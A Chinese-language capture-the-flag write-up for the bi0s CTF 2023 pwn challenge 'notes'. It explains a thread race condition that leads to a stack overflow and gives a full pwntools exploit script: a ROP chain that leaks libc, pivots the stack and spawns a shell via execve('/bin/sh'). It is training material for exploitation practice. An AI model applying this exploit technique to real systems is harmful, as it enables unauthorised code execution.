bi0s CTF 2023 Pwn部分wp
bi0s CTF 2023 Pwn部分wp
notes
程序未开启Canary和PIE防护
首先可以看到main函数启动了两个线程,传递的参数heapInfo(给参数起这个名字是因为我一开始以为这是一道堆题......)为一个内存块的地址,通过shmat函数分配。func线程就是一个简单的数据存储功能,crypto加密功能可以忽略(本题不涉及到)

start_routine线程中调用了一个可以通过memcpy进行栈溢出的函数(我命名为sleep_overflow),但是这个函数的触发需要先另一个线程先进行一次add操作,且size不能超过0x41。

想要实现溢出,size就必须超过0x48,但是size超过0x41程序就会寄掉,不过我们注意到在检查了size之后线程sleep了一秒,而两个线程的参数结构体指向的又是同一个空间,因此我们可以利用条件竞争漏洞,先进行一个size较小的Add操作将add_flag设置为1,在两秒后再进行Add将payload写进去,这个时候sleep_overflow线程应该刚好处于检查完size后的sleep(1)期间还未进行后续的memcpy,但此时我们修改了heapInfo,所以memcpy的实际上是第二次add进去的内容。
这道题的输入输出是直接通过syscall函数实现的,并没有现成的read、write或puts、gets。我的解法是利用elf文件里的pop rdi;ret这个gadget去将stdout-0x8的地址传给show功能,将储存的_IO_2_1_stdout_符号地址当做name字段打印出来去泄露libc版本和基址,再通过read_str函数向bss段写入另一段payload,并通过栈迁移迁移过来并执行。

这里简单调试我们会发现在show之后rsi会变成一个比较大的数字,所以后面read_str可以读进来足够多的字节,完全足以容纳整个payload

当然,这个解法有许多不足之处,由于在栈溢出后两个线程都在进行read操作,这会导致容易产生冲突,需要在适宜的时候将一个垃圾字符喂给func函数,这会导致程序返回很多的invalid choice提示,比较影响观感,这个发送垃圾字符的时机也比较难以把握,需要多去调整。此外,这个解法需要泄露libc版本和基址,而这个题并没有给出libc文件,这个libc版本似乎也不太好查询(用了两个在线网站都没查到,后来用libc-database才查到的),容易耽误很多时间。
先放上exp吧,不过这个exp只是有一定概率能打通,需要多试几次。
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
DEBUG=1
if DEBUG==1:
r=process('/home/wjc/Desktop/notes')
else:
r=remote('pwn.chall.bi0s.in',33476)
#r=gdb.debug('/home/wjc/Desktop/notes','b*0x401AC8')
e=ELF('/home/wjc/Desktop/notes')
libc=ELF('/home/wjc/libc-database-master/libs/libc6_2.35-0ubuntu3_amd64/libc.so.6')
def cmd(idx):
r.recvuntil('Enter Choice:')
r.sendline(str(idx))
def Add(id,name,size,content):
cmd(1)
r.recvuntil('Enter Note ID:')
r.sendline(id)
r.recvuntil('Enter Note Name:')
r.sendline(name)
r.recvuntil('Enter Note Size:')
r.sendline(str(size))
r.recvuntil('Enter Note Content:')
r.send(content)
def Del(id):
cmd(2)
r.recvuntil('Enter Note ID:')
r.sendline(id)
def Show(id):
cmd(3)
r.recvuntil('Enter Note ID:')
r.sendline(id)
def Edit(name,size):
cmd(4)
r.recvuntil('Enter Note Name:')
r.sendline(name)
r.recvuntil('Enter Note Size:')
r.sendline(str(size))
print("Finish Edit!!")
#gdb.attach(r,'b*0x401BA6')
Add('a','A',0x30,0x30*'a')
sleep(2)
#gdb.attach(r,'b*0x401ADE')
if DEBUG==1:
gdb.attach(r,'b*0x401867')
#0x0000000000401bc0 : pop rdi ; ret
pop_rdi_ret=0x401bc0
#0x0000000000401429 : leave ; ret
leave_ret=0x401429
ret_addr=0x40142a
syscall_pop_ret=0x401BC2
syscall_write_pre=0x40160C #pay attention to "pop rbp"
fake_heapInfo_libc=0x404018
fake_write=0x404e20
show_addr=0x401795
add_addr=0x401632
read_str=0x4013D6
pay =0x40*'a'+p64(fake_write)
pay+=p64(pop_rdi_ret)+p64(fake_heapInfo_libc)+p64(show_addr)
pay+=p64(pop_rdi_ret)+p64(fake_write)+p64(read_str)+p64(leave_ret)
Add('b','b',len(pay),pay)
#Edit('A',0x30)
#r.recvuntil('Enter Choice: ')
r.recvuntil('Enter Note ID:')
r.sendline('7')
#sleep(0.1)
r.send('\x00'*8)
stdout=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=stdout-libc.symbols['_IO_2_1_stdout_'] #(0x7fa599d5a760-0x7fa599b41000)
#0x00000000001d8698 : /bin/sh
str_bin_sh=libcbase+0x1d8698
#0x000000000002be51 : pop rsi ; ret
pop_rsi_ret=libcbase+0x2be51
#0x000000000011f497 : pop rdx ; pop r12 ; ret
pop_rdx_r12_ret=libcbase+0x11f497
system_addr=+libcbase+libc.symbols['system']
execve_addr=+libcbase+libc.symbols['execve']
pay2=p64(fake_write+0x80)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_r12_ret)+p64(0)+p64(0)+p64(ret_addr)+p64(execve_addr)
# if DEBUG==1:
# gdb.attach(r,'b*0x401405')
#r.send('\x00')
sleep(0.5)
r.sendline(pay2)
log.success('*****result*****')
log.success('stdout: '+hex(stdout))
log.success('libcbase: '+hex(libcbase))
#r.sendline('cat flag')
r.interactive()
似乎用SROP可以更快地解出来:elf文件中是有syscall的,通过pop rdi;ret伪造heapInfo参数后调用read_str应该也可以控制rax寄存器并写入/bin/sh,这个时候布置好栈上内容直接syscall应该就可以了,这样就能避开需要泄露libc的问题。

浙公网安备 33010602011771号